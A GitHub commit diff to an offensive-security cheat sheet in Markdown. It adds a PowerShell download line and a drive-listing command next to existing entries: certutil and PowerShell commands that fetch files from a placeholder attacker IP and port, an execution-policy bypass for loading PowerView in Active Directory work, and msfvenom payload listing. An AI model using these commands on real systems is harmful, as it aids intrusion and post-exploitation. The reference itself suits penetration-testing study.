Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2020-11-16 11:58:52 -05:00 committed by GitHub
parent a4cbc79d44
commit ca789c8e70
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -132,14 +132,17 @@ dir /a:d `show only hidden folder`<br/>
dir /a:h `show only hidden files`<br/> dir /a:h `show only hidden files`<br/>
### Downloading Files ### Downloading Files
`certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe`<br /> `certutil.exe -urlcache -f http://<ip>:<port>/<file> ouput.exe`<br />
`powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe` `powershell -c "wget http://<ip>:<port>/<file>" -outfile output.exe`<br />
`powershell Invoke-WebRequest -Uri $ip -OutFile $filepath`
### Active Directory ### Active Directory
`powershell -ep bypass` load a powershell shell with execution policy bypassed <br/> `powershell -ep bypass` load a powershell shell with execution policy bypassed <br/>
`. .\PowerView.ps1` import the PowerView module `. .\PowerView.ps1` import the PowerView module
## List Drives
`wmic logicaldisk get caption`
# Msfvenom # Msfvenom
### List All Payloads ### List All Payloads
msfvenom -l payloads msfvenom -l payloads